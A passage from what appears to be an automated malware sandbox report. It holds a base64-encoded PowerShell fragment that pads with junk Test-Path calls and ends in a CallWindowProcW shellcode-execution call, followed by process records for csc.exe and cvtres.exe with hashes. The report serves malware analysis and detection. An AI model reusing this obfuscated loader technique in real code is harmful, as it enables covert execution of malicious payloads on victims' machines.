bwBsAHQAIABMAFIARQBSAEYATABVAEcAIABBAGcAcgBhAGYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEkAbQBiAGEAcgBrACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHIAZQBpAG0AcABsAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBmAG0AbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAE8ATgBEAE4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARABpAHMAcgBpACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFcAYQB5AGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARwBBAFMAVABSAE8AQwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAGUAZABkAGUAbAA3ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbABkAHMAcABpAG4AMQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAEMAQwBMACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbgBpAHYAZQByAHMAYQAyACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMATwBFAEIATwBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE0AeQBvAHMAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBCAHUAawBzAHMAdABhAGMAIgAgAA0ACgBbAFMAYwByAGkAcAB0AGUAcgBlADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA==
                            Imagebase:0x12c0000
                            File size:430592 bytes
                            MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET

                            General

                            Start time:17:22:12
                            Start date:21/01/2022
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
                            Imagebase:0x2c0000
                            File size:2170976 bytes
                            MD5 hash:350C52F71BDED7B99668585C15D70EEA
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET

                            General

                            Start time:17:22:16
                            Start date:21/01/2022
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESADA2.tmp" "c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP"
                            Imagebase:0xb90000
                            File size:43176 bytes
                            MD5 hash:C09985AE74F0882F208D75DE27770DFA
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language

                            Disassembly

                            ⊘No disassembly